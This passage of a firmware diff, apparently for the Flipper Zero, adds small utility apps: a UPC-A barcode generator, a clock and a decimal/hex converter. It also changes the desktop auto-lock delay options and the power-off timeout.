int32_t barcode_UPCA_generator_app(void* p) {
|
||||
UNUSED(p);
|
||||
//testing
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
|
||||
|
||||
PluginState* plugin_state = malloc(sizeof(PluginState));
|
||||
barcode_UPCA_generator_state_init(plugin_state);
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, plugin_state, sizeof(PluginState))) {
|
||||
FURI_LOG_E("barcode_UPCA_generator", "cannot create mutex\r\n");
|
||||
free(plugin_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
// Set system callbacks
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, render_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, input_callback, event_queue);
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
PluginEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
PluginState* plugin_state = (PluginState*)acquire_mutex_block(&state_mutex);
|
||||
int barcodeMaxIndex;
|
||||
if(plugin_state->doParityCalculation == true) {
|
||||
barcodeMaxIndex = 11;
|
||||
}
|
||||
if(plugin_state->doParityCalculation == false) {
|
||||
barcodeMaxIndex = 12;
|
||||
}
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// press events
|
||||
if(event.type == EventTypeKey) {
|
||||
if((event.input.type == InputTypePress) || (event.input.type == InputTypeRepeat)) {
|
||||
switch(event.input.key) {
|
||||
case InputKeyUp:
|
||||
if(plugin_state->modeIndex == 1) { //if edit mode
|
||||
plugin_state->barcodeNumeral[plugin_state->editingIndex]++;
|
||||
}
|
||||
if(plugin_state->barcodeNumeral[plugin_state->editingIndex] > 9) {
|
||||
plugin_state->barcodeNumeral[plugin_state->editingIndex] = 0;
|
||||
}
|
||||
if(plugin_state->modeIndex == 2) { //if menu mode
|
||||
plugin_state->menuIndex--;
|
||||
}
|
||||
if(plugin_state->menuIndex < 0) {
|
||||
plugin_state->menuIndex = 3;
|
||||
}
|
||||
break;
|
||||
case InputKeyDown:
|
||||
if(plugin_state->modeIndex == 1) {
|
||||
plugin_state->barcodeNumeral[plugin_state->editingIndex]--;
|
||||
}
|
||||
if(plugin_state->barcodeNumeral[plugin_state->editingIndex] < 0) {
|
||||
plugin_state->barcodeNumeral[plugin_state->editingIndex] = 9;
|
||||
}
|
||||
if(plugin_state->modeIndex == 2) { //if menu mode
|
||||
plugin_state->menuIndex++;
|
||||
}
|
||||
if(plugin_state->menuIndex > 3) {
|
||||
plugin_state->menuIndex = 0;
|
||||
}
|
||||
break;
|
||||
case InputKeyRight:
|
||||
if(plugin_state->modeIndex == 1) {
|
||||
plugin_state->editingIndex++;
|
||||
}
|
||||
if(plugin_state->editingIndex >= barcodeMaxIndex) {
|
||||
plugin_state->editingIndex = 0;
|
||||
}
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
if(plugin_state->modeIndex == 1) {
|
||||
plugin_state->editingIndex--;
|
||||
}
|
||||
if(plugin_state->editingIndex < 0) {
|
||||
plugin_state->editingIndex = barcodeMaxIndex - 1;
|
||||
}
|
||||
break;
|
||||
case InputKeyOk:
|
||||
if((plugin_state->modeIndex == 0) ||
|
||||
(plugin_state->modeIndex == 1)) { //if normal or edit more, open menu
|
||||
plugin_state->modeIndex = 2;
|
||||
break;
|
||||
} else if(
|
||||
(plugin_state->modeIndex == 2) &&
|
||||
(plugin_state->menuIndex ==
|
||||
1)) { //if hits select in menu, while index is 1. edit mode
|
||||
plugin_state->modeIndex = 1;
|
||||
break;
|
||||
} else if(
|
||||
(plugin_state->modeIndex == 2) &&
|
||||
(plugin_state->menuIndex ==
|
||||
0)) { //if hits select in menu, while index is 0. view mode
|
||||
plugin_state->modeIndex = 0;
|
||||
break;
|
||||
} else if(
|
||||
(plugin_state->modeIndex == 2) &&
|
||||
(plugin_state->menuIndex ==
|
||||
2)) { //if hits select in menu, while index is 2. Parity switch
|
||||
plugin_state->doParityCalculation =
|
||||
!plugin_state->doParityCalculation; //invert bool
|
||||
break;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
|
||||
case InputKeyBack:
|
||||
if(plugin_state->modeIndex == 0) {
|
||||
processing = false;
|
||||
}
|
||||
if(plugin_state->modeIndex == 2) {
|
||||
plugin_state->modeIndex = 0;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_D("barcode_UPCA_generator", "osMessageQueue: event timeout");
|
||||
// event timeout
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, plugin_state);
|
||||
}
|
||||
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close("gui");
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
|
||||
return 0;
|
||||
}
|
11
applications/clock_app/application.fam
Normal file
11
applications/clock_app/application.fam
Normal file
|
@ -0,0 +1,11 @@
|
|||
App(
|
||||
appid="clock",
|
||||
name="Clock",
|
||||
apptype=FlipperAppType.APP,
|
||||
entry_point="clock_app",
|
||||
cdefines=["APP_CLOCK"],
|
||||
requires=["gui"],
|
||||
icon="A_Clock_14",
|
||||
stack_size=2 * 1024,
|
||||
order=9,
|
||||
)
|
145
applications/clock_app/clock_app.c
Normal file
145
applications/clock_app/clock_app.c
Normal file
|
@ -0,0 +1,145 @@
|
|||
#include <furi.h>
|
||||
#include <furi_hal.h>
|
||||
|
||||
#include <gui/elements.h>
|
||||
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
|
||||
#define TAG "Clock"
|
||||
#define CLOCK_DATE_FORMAT "%.4d-%.2d-%.2d"
|
||||
#define CLOCK_TIME_FORMAT "%.2d:%.2d:%.2d"
|
||||
|
||||
typedef enum {
|
||||
EventTypeTick,
|
||||
EventTypeKey,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
EventType type;
|
||||
InputEvent input;
|
||||
} PluginEvent;
|
||||
|
||||
typedef struct {
|
||||
FuriHalRtcDateTime datetime;
|
||||
} ClockState;
|
||||
|
||||
static void clock_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
PluginEvent event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void clock_render_callback(Canvas* const canvas, void* ctx) {
|
||||
canvas_clear(canvas);
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
|
||||
ClockState* state = (ClockState*)acquire_mutex((ValueMutex*)ctx, 25);
|
||||
|
||||
char strings[2][20];
|
||||
|
||||
snprintf(
|
||||
strings[0],
|
||||
sizeof(strings[0]),
|
||||
CLOCK_DATE_FORMAT,
|
||||
state->datetime.year,
|
||||
state->datetime.month,
|
||||
state->datetime.day);
|
||||
snprintf(
|
||||
strings[1],
|
||||
sizeof(strings[1]),
|
||||
CLOCK_TIME_FORMAT,
|
||||
state->datetime.hour,
|
||||
state->datetime.minute,
|
||||
state->datetime.second);
|
||||
|
||||
release_mutex((ValueMutex*)ctx, state);
|
||||
canvas_set_font(canvas, FontBigNumbers);
|
||||
canvas_draw_str_aligned(canvas, 64, 42 - 16, AlignCenter, AlignCenter, strings[1]);
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str_aligned(canvas, 64, 52 - 8, AlignCenter, AlignTop, strings[0]);
|
||||
}
|
||||
|
||||
static void clock_state_init(ClockState* const state) {
|
||||
furi_hal_rtc_get_datetime(&state->datetime);
|
||||
}
|
||||
|
||||
// Runs every 1000ms by default
|
||||
static void clock_tick(void* ctx) {
|
||||
furi_assert(ctx);
|
||||
FuriMessageQueue* event_queue = ctx;
|
||||
PluginEvent event = {.type = EventTypeTick};
|
||||
// It's OK to loose this event if system overloaded
|
||||
furi_message_queue_put(event_queue, &event, 0);
|
||||
}
|
||||
|
||||
int32_t clock_app(void* p) {
|
||||
UNUSED(p);
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent));
|
||||
|
||||
ClockState* plugin_state = malloc(sizeof(ClockState));
|
||||
clock_state_init(plugin_state);
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, plugin_state, sizeof(ClockState))) {
|
||||
FURI_LOG_E(TAG, "cannot create mutex\r\n");
|
||||
free(plugin_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
// Set system callbacks
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, clock_render_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, clock_input_callback, event_queue);
|
||||
FuriTimer* timer = furi_timer_alloc(clock_tick, FuriTimerTypePeriodic, event_queue);
|
||||
furi_timer_start(timer, furi_kernel_get_tick_frequency());
|
||||
|
||||
// Open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
// Main loop
|
||||
PluginEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
ClockState* plugin_state = (ClockState*)acquire_mutex_block(&state_mutex);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// press events
|
||||
if(event.type == EventTypeKey) {
|
||||
if(event.input.type == InputTypeShort || event.input.type == InputTypeRepeat) {
|
||||
switch(event.input.key) {
|
||||
case InputKeyUp:
|
||||
case InputKeyDown:
|
||||
case InputKeyRight:
|
||||
case InputKeyLeft:
|
||||
case InputKeyOk:
|
||||
break;
|
||||
case InputKeyBack:
|
||||
// Exit the plugin
|
||||
processing = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else if(event.type == EventTypeTick) {
|
||||
furi_hal_rtc_get_datetime(&plugin_state->datetime);
|
||||
}
|
||||
} else {
|
||||
FURI_LOG_D(TAG, "furi_message_queue: event timeout");
|
||||
// event timeout
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, plugin_state);
|
||||
}
|
||||
|
||||
furi_timer_free(timer);
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close("gui");
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
delete_mutex(&state_mutex);
|
||||
|
||||
return 0;
|
||||
}
|
10
applications/dec_hex_converter/application.fam
Normal file
10
applications/dec_hex_converter/application.fam
Normal file
|
@ -0,0 +1,10 @@
|
|||
App(
|
||||
appid="dec_hex_converter",
|
||||
name="Dec/Hex Converter",
|
||||
apptype=FlipperAppType.PLUGIN,
|
||||
entry_point="dec_hex_converter_app",
|
||||
cdefines=["APP_DEC_HEX_CONVERTER"],
|
||||
requires=["gui"],
|
||||
stack_size=1 * 1024,
|
||||
order=19,
|
||||
)
|
404
applications/dec_hex_converter/dec_hex_converter.c
Normal file
404
applications/dec_hex_converter/dec_hex_converter.c
Normal file
|
@ -0,0 +1,404 @@
|
|||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <input/input.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#define DEC_HEX_CONVERTER_NUMBER_DIGITS 9
|
||||
#define DEC_HEX_CONVERTER_KEYS 18
|
||||
#define DEC_HEX_CONVERTER_KEY_DEL 16
|
||||
// #define DEC_HEX_CONVERTER_KEY_SWAP 17 // actually not used...
|
||||
|
||||
#define DEC_HEX_CONVERTER_CHAR_DEL '<'
|
||||
#define DEC_HEX_CONVERTER_CHAR_SWAP 's'
|
||||
#define DEC_HEX_CONVERTER_CHAR_MODE '#'
|
||||
#define DEC_HEX_CONVERTER_CHAR_OVERFLOW '#'
|
||||
|
||||
#define DEC_HEX_CONVERTER_KEY_FRAME_MARGIN 3
|
||||
#define DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT 8
|
||||
|
||||
#define DEC_HEX_MAX_SUPORTED_DEC_INT 999999999
|
||||
|
||||
typedef enum {
|
||||
EventTypeKey,
|
||||
} EventType;
|
||||
|
||||
typedef struct {
|
||||
InputEvent input;
|
||||
EventType type;
|
||||
} DecHexConverterEvent;
|
||||
|
||||
typedef enum {
|
||||
ModeDec,
|
||||
ModeHex,
|
||||
} Mode;
|
||||
|
||||
// setting up one char array next to the other one causes the canvas_draw_str to display both of them
|
||||
// when addressing the first one if there's no string terminator or similar indicator. Adding a \0 seems
|
||||
// to work fine to prevent that, so add a final last char outside the size constants (added on init
|
||||
// and NEVER changed nor referenced again)
|
||||
//
|
||||
// (as a reference, canvas_draw_str ends up calling u8g2_DrawStr from u8g2_font.c,
|
||||
// that finally ends up calling u8g2_draw_string)
|
||||
typedef struct {
|
||||
char dec_number[DEC_HEX_CONVERTER_NUMBER_DIGITS + 1];
|
||||
char hex_number[DEC_HEX_CONVERTER_NUMBER_DIGITS + 1];
|
||||
Mode mode; // dec / hex
|
||||
int8_t cursor; // position on keyboard (includes digit letters and other options)
|
||||
int8_t digit_pos; // current digit on selected mode
|
||||
} DecHexConverterState;
|
||||
|
||||
// move cursor left / right (TODO: implement menu nav in a more "standard" and reusable way?)
|
||||
void dec_hex_converter_logic_move_cursor_lr(
|
||||
DecHexConverterState* const dec_hex_converter_state,
|
||||
int8_t d) {
|
||||
dec_hex_converter_state->cursor += d;
|
||||
|
||||
if(dec_hex_converter_state->cursor > DEC_HEX_CONVERTER_KEYS - 1)
|
||||
dec_hex_converter_state->cursor = 0;
|
||||
else if(dec_hex_converter_state->cursor < 0)
|
||||
dec_hex_converter_state->cursor = DEC_HEX_CONVERTER_KEYS - 1;
|
||||
|
||||
// if we're moving left / right to the letters keys on ModeDec just go to the closest available key
|
||||
if(dec_hex_converter_state->mode == ModeDec) {
|
||||
if(dec_hex_converter_state->cursor == 10)
|
||||
dec_hex_converter_state->cursor = 16;
|
||||
else if(dec_hex_converter_state->cursor == 15)
|
||||
dec_hex_converter_state->cursor = 9;
|
||||
}
|
||||
}
|
||||
|
||||
// move cursor up / down; there're two lines, so we basically toggle
|
||||
void dec_hex_converter_logic_move_cursor_ud(DecHexConverterState* const dec_hex_converter_state) {
|
||||
if(dec_hex_converter_state->cursor < 9) {
|
||||
// move to second line ("down")
|
||||
dec_hex_converter_state->cursor += 9;
|
||||
|
||||
// if we're reaching the letter keys while ModeDec, just move left / right for the first available key
|
||||
if(dec_hex_converter_state->mode == ModeDec &&
|
||||
(dec_hex_converter_state->cursor >= 10 && dec_hex_converter_state->cursor <= 15)) {
|
||||
if(dec_hex_converter_state->cursor <= 12)
|
||||
dec_hex_converter_state->cursor = 9;
|
||||
else
|
||||
dec_hex_converter_state->cursor = 16;
|
||||
}
|
||||
} else {
|
||||
// move to first line ("up")
|
||||
dec_hex_converter_state->cursor -= 9;
|
||||
}
|
||||
}
|
||||
|
||||
// fetch number from current mode and modifies the destination one, RM dnt stel pls
|
||||
// (if destination is shorter than the output value, overried with "-" chars or something similar)
|
||||
void dec_hex_converter_logic_convert_number(DecHexConverterState* const dec_hex_converter_state) {
|
||||
char* s_ptr;
|
||||
char* d_ptr;
|
||||
|
||||
char dest[DEC_HEX_CONVERTER_NUMBER_DIGITS];
|
||||
int i = 0; // current index on destination array
|
||||
|
||||
if(dec_hex_converter_state->mode == ModeDec) {
|
||||
// DEC to HEX cannot overflow if they're, at least, the same size
|
||||
|
||||
s_ptr = dec_hex_converter_state->dec_number;
|
||||
d_ptr = dec_hex_converter_state->hex_number;
|
||||
|
||||
int a = atoi(s_ptr);
|
||||
int r;
|
||||
while(a != 0) {
|
||||
r = a % 16;
|
||||
dest[i] = r + (r < 10 ? '0' : ('A' - 10));
|
||||
a /= 16;
|
||||
i++;
|
||||
}
|
||||
|
||||
} else {
|
||||
s_ptr = dec_hex_converter_state->hex_number;
|
||||
d_ptr = dec_hex_converter_state->dec_number;
|
||||
|
||||
int a = strtol(s_ptr, NULL, 16);
|
||||
if(a > DEC_HEX_MAX_SUPORTED_DEC_INT) {
|
||||
// draw all "###" if there's an overflow
|
||||
for(int j = 0; j < DEC_HEX_CONVERTER_NUMBER_DIGITS; j++) {
|
||||
d_ptr[j] = DEC_HEX_CONVERTER_CHAR_OVERFLOW;
|
||||
}
|
||||
return;
|
||||
} else {
|
||||
while(a > 0) {
|
||||
dest[i++] = (a % 10) + '0';
|
||||
a /= 10;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// dest is reversed, copy to destination pointer and append empty chars at the end
|
||||
for(int j = 0; j < DEC_HEX_CONVERTER_NUMBER_DIGITS; j++) {
|
||||
if(i >= 1)
|
||||
d_ptr[j] = dest[--i];
|
||||
else
|
||||
d_ptr[j] = ' ';
|
||||
}
|
||||
}
|
||||
|
||||
// change from DEC to HEX or HEX to DEC, set the digit_pos to the last position not empty on the destination mode
|
||||
void dec_hex_converter_logic_swap_mode(DecHexConverterState* const dec_hex_converter_state) {
|
||||
char* n_ptr;
|
||||
if(dec_hex_converter_state->mode == ModeDec) {
|
||||
dec_hex_converter_state->mode = ModeHex;
|
||||
n_ptr = dec_hex_converter_state->hex_number;
|
||||
} else {
|
||||
dec_hex_converter_state->mode = ModeDec;
|
||||
n_ptr = dec_hex_converter_state->dec_number;
|
||||
}
|
||||
|
||||
dec_hex_converter_state->digit_pos = DEC_HEX_CONVERTER_NUMBER_DIGITS;
|
||||
for(int i = 0; i < DEC_HEX_CONVERTER_NUMBER_DIGITS; i++) {
|
||||
if(n_ptr[i] == ' ') {
|
||||
dec_hex_converter_state->digit_pos = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// removes the number on current digit on current mode
|
||||
static void
|
||||
dec_hex_converter_logic_del_number(DecHexConverterState* const dec_hex_converter_state) {
|
||||
if(dec_hex_converter_state->digit_pos > 0) dec_hex_converter_state->digit_pos--;
|
||||
|
||||
if(dec_hex_converter_state->mode == ModeDec) {
|
||||
dec_hex_converter_state->dec_number[dec_hex_converter_state->digit_pos] = ' ';
|
||||
} else {
|
||||
dec_hex_converter_state->hex_number[dec_hex_converter_state->digit_pos] = ' ';
|
||||
}
|
||||
}
|
||||
|
||||
// append a number to the digit on the current mode
|
||||
static void dec_hex_converter_logic_add_number(
|
||||
DecHexConverterState* const dec_hex_converter_state,
|
||||
int8_t number) {
|
||||
// ignore HEX values on DEC mode (probably button nav will be disabled too, so cannot reach);
|
||||
// also do not add anything if we're out of bound
|
||||
if((number > 9 && dec_hex_converter_state->mode == ModeDec) ||
|
||||
dec_hex_converter_state->digit_pos >= DEC_HEX_CONVERTER_NUMBER_DIGITS)
|
||||
return;
|
||||
|
||||
char* s_ptr;
|
||||
|
||||
if(dec_hex_converter_state->mode == ModeDec) {
|
||||
s_ptr = dec_hex_converter_state->dec_number;
|
||||
} else {
|
||||
s_ptr = dec_hex_converter_state->hex_number;
|
||||
}
|
||||
|
||||
if(number < 10) {
|
||||
s_ptr[dec_hex_converter_state->digit_pos] = number + '0';
|
||||
} else {
|
||||
s_ptr[dec_hex_converter_state->digit_pos] = (number - 10) + 'A'; // A-F (HEX only)
|
||||
}
|
||||
|
||||
dec_hex_converter_state->digit_pos++;
|
||||
}
|
||||
|
||||
// ---------------
|
||||
|
||||
static void dec_hex_converter_render_callback(Canvas* const canvas, void* ctx) {
|
||||
const DecHexConverterState* dec_hex_converter_state = acquire_mutex((ValueMutex*)ctx, 25);
|
||||
if(dec_hex_converter_state == NULL) {
|
||||
return;
|
||||
}
|
||||
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
|
||||
// DEC
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 2, 10, "DEC: ");
|
||||
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 2 + 30, 10, dec_hex_converter_state->dec_number);
|
||||
|
||||
// HEX
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 2, 10 + 12, "HEX: ");
|
||||
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 2 + 30, 10 + 12, dec_hex_converter_state->hex_number);
|
||||
|
||||
// current mode indicator
|
||||
// char buffer[4];
|
||||
// snprintf(buffer, sizeof(buffer), "%u", dec_hex_converter_state->digit_pos); // debug: show digit position instead of selected mode
|
||||
if(dec_hex_converter_state->mode == ModeDec) {
|
||||
canvas_draw_glyph(canvas, 128 - 10, 10, DEC_HEX_CONVERTER_CHAR_MODE);
|
||||
} else {
|
||||
canvas_draw_glyph(canvas, 128 - 10, 10 + 12, DEC_HEX_CONVERTER_CHAR_MODE);
|
||||
}
|
||||
|
||||
// draw the line
|
||||
canvas_draw_line(canvas, 2, 25, 128 - 3, 25);
|
||||
|
||||
// draw the keyboard
|
||||
uint8_t _x = 5;
|
||||
uint8_t _y = 25 + 15; // line + 10
|
||||
|
||||
for(int i = 0; i < DEC_HEX_CONVERTER_KEYS; i++) {
|
||||
char g;
|
||||
if(i < 10)
|
||||
g = (i + '0');
|
||||
else if(i < 16)
|
||||
g = ((i - 10) + 'A');
|
||||
else if(i == 16)
|
||||
g = DEC_HEX_CONVERTER_CHAR_DEL; // '<'
|
||||
else
|
||||
g = DEC_HEX_CONVERTER_CHAR_SWAP; // 's'
|
||||
|
||||
uint8_t g_w = canvas_glyph_width(canvas, g);
|
||||
|
||||
// disable letters on DEC mode (but keep the previous width for visual purposes - show "blank keys")
|
||||
if(dec_hex_converter_state->mode == ModeDec && i > 9 && i < 16) g = ' ';
|
||||
|
||||
if(dec_hex_converter_state->cursor == i) {
|
||||
canvas_draw_box(
|
||||
canvas,
|
||||
_x - DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
|
||||
_y - (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN),
|
||||
DEC_HEX_CONVERTER_KEY_FRAME_MARGIN + g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
|
||||
DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2);
|
||||
canvas_set_color(canvas, ColorWhite);
|
||||
canvas_draw_glyph(canvas, _x, _y, g);
|
||||
canvas_set_color(canvas, ColorBlack);
|
||||
} else {
|
||||
canvas_draw_frame(
|
||||
canvas,
|
||||
_x - DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
|
||||
_y - (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN),
|
||||
DEC_HEX_CONVERTER_KEY_FRAME_MARGIN + g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN,
|
||||
DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2);
|
||||
canvas_draw_glyph(canvas, _x, _y, g);
|
||||
}
|
||||
|
||||
if(i < 8) {
|
||||
_x += g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2 + 2;
|
||||
} else if(i == 8) {
|
||||
_y += (DEC_HEX_CONVERTER_KEY_CHAR_HEIGHT + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2) + 3;
|
||||
_x = 7; // some padding at the beginning on second line
|
||||
} else {
|
||||
_x += g_w + DEC_HEX_CONVERTER_KEY_FRAME_MARGIN * 2 + 1;
|
||||
}
|
||||
}
|
||||
|
||||
release_mutex((ValueMutex*)ctx, dec_hex_converter_state);
|
||||
}
|
||||
|
||||
static void
|
||||
dec_hex_converter_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) {
|
||||
furi_assert(event_queue);
|
||||
|
||||
DecHexConverterEvent event = {.type = EventTypeKey, .input = *input_event};
|
||||
furi_message_queue_put(event_queue, &event, FuriWaitForever);
|
||||
}
|
||||
|
||||
static void dec_hex_converter_init(DecHexConverterState* const dec_hex_converter_state) {
|
||||
dec_hex_converter_state->mode = ModeDec;
|
||||
dec_hex_converter_state->digit_pos = 0;
|
||||
|
||||
dec_hex_converter_state->dec_number[DEC_HEX_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminator
|
||||
dec_hex_converter_state->hex_number[DEC_HEX_CONVERTER_NUMBER_DIGITS] = '\0'; // null terminator
|
||||
|
||||
for(int i = 0; i < DEC_HEX_CONVERTER_NUMBER_DIGITS; i++) {
|
||||
dec_hex_converter_state->dec_number[i] = ' ';
|
||||
dec_hex_converter_state->hex_number[i] = ' ';
|
||||
}
|
||||
}
|
||||
|
||||
// main entry point
|
||||
int32_t dec_hex_converter_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
// get event queue
|
||||
FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(DecHexConverterEvent));
|
||||
|
||||
// allocate state
|
||||
DecHexConverterState* dec_hex_converter_state = malloc(sizeof(DecHexConverterState));
|
||||
|
||||
// set mutex for plugin state (different threads can access it)
|
||||
ValueMutex state_mutex;
|
||||
if(!init_mutex(&state_mutex, dec_hex_converter_state, sizeof(dec_hex_converter_state))) {
|
||||
FURI_LOG_E("DecHexConverter", "cannot create mutex\r\n");
|
||||
furi_message_queue_free(event_queue);
|
||||
free(dec_hex_converter_state);
|
||||
return 255;
|
||||
}
|
||||
|
||||
// register callbacks for drawing and input processing
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
view_port_draw_callback_set(view_port, dec_hex_converter_render_callback, &state_mutex);
|
||||
view_port_input_callback_set(view_port, dec_hex_converter_input_callback, event_queue);
|
||||
|
||||
// open GUI and register view_port
|
||||
Gui* gui = furi_record_open("gui");
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
dec_hex_converter_init(dec_hex_converter_state);
|
||||
|
||||
// main loop
|
||||
DecHexConverterEvent event;
|
||||
for(bool processing = true; processing;) {
|
||||
FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100);
|
||||
DecHexConverterState* dec_hex_converter_state =
|
||||
(DecHexConverterState*)acquire_mutex_block(&state_mutex);
|
||||
|
||||
if(event_status == FuriStatusOk) {
|
||||
// press events
|
||||
if(event.type == EventTypeKey) {
|
||||
if(event.input.type == InputTypePress) {
|
||||
switch(event.input.key) {
|
||||
default:
|
||||
break;
|
||||
case InputKeyUp:
|
||||
case InputKeyDown:
|
||||
dec_hex_converter_logic_move_cursor_ud(dec_hex_converter_state);
|
||||
break;
|
||||
case InputKeyRight:
|
||||
dec_hex_converter_logic_move_cursor_lr(dec_hex_converter_state, 1);
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
dec_hex_converter_logic_move_cursor_lr(dec_hex_converter_state, -1);
|
||||
break;
|
||||
case InputKeyOk:
|
||||
if(dec_hex_converter_state->cursor < DEC_HEX_CONVERTER_KEY_DEL) {
|
||||
// positions from 0 to 15 works as regular numbers (DEC / HEX where applicable)
|
||||
// (logic won't allow add numbers > 9 on ModeDec)
|
||||
dec_hex_converter_logic_add_number(
|
||||
dec_hex_converter_state, dec_hex_converter_state->cursor);
|
||||
} else if(dec_hex_converter_state->cursor == DEC_HEX_CONVERTER_KEY_DEL) {
|
||||
// del
|
||||
dec_hex_converter_logic_del_number(dec_hex_converter_state);
|
||||
} else {
|
||||
// swap
|
||||
dec_hex_converter_logic_swap_mode(dec_hex_converter_state);
|
||||
}
|
||||
|
||||
dec_hex_converter_logic_convert_number(dec_hex_converter_state);
|
||||
break;
|
||||
case InputKeyBack:
|
||||
processing = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// event timeout
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
release_mutex(&state_mutex, dec_hex_converter_state);
|
||||
}
|
||||
|
||||
view_port_enabled_set(view_port, false);
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close("gui");
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(event_queue);
|
||||
delete_mutex(&state_mutex);
|
||||
free(dec_hex_converter_state);
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -9,18 +9,21 @@
|
|||
#define SCENE_EVENT_SELECT_PIN_SETUP 2
|
||||
#define SCENE_EVENT_SELECT_AUTO_LOCK_DELAY 3
|
||||
|
||||
#define AUTO_LOCK_DELAY_COUNT 6
|
||||
#define AUTO_LOCK_DELAY_COUNT 9
|
||||
const char* const auto_lock_delay_text[AUTO_LOCK_DELAY_COUNT] = {
|
||||
"OFF",
|
||||
"10s",
|
||||
"15s",
|
||||
"30s",
|
||||
"60s",
|
||||
"90s",
|
||||
"2min",
|
||||
"5min",
|
||||
"10min",
|
||||
};
|
||||
|
||||
const uint32_t auto_lock_delay_value[AUTO_LOCK_DELAY_COUNT] =
|
||||
{0, 30000, 60000, 120000, 300000, 600000};
|
||||
{0, 10000, 15000, 30000, 60000, 90000, 120000, 300000, 600000};
|
||||
|
||||
static void desktop_settings_scene_start_var_list_enter_callback(void* context, uint32_t index) {
|
||||
DesktopSettingsApp* app = context;
|
||||
|
|
|
@ -16,7 +16,7 @@ struct DesktopMainView {
|
|||
TimerHandle_t poweroff_timer;
|
||||
};
|
||||
|
||||
#define DESKTOP_MAIN_VIEW_POWEROFF_TIMEOUT 5000
|
||||
#define DESKTOP_MAIN_VIEW_POWEROFF_TIMEOUT 3000
|
||||
|
||||
static void desktop_main_poweroff_timer_callback(TimerHandle_t timer) {
|
||||
DesktopMainView* main_view = pvTimerGetTimerID(timer);
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
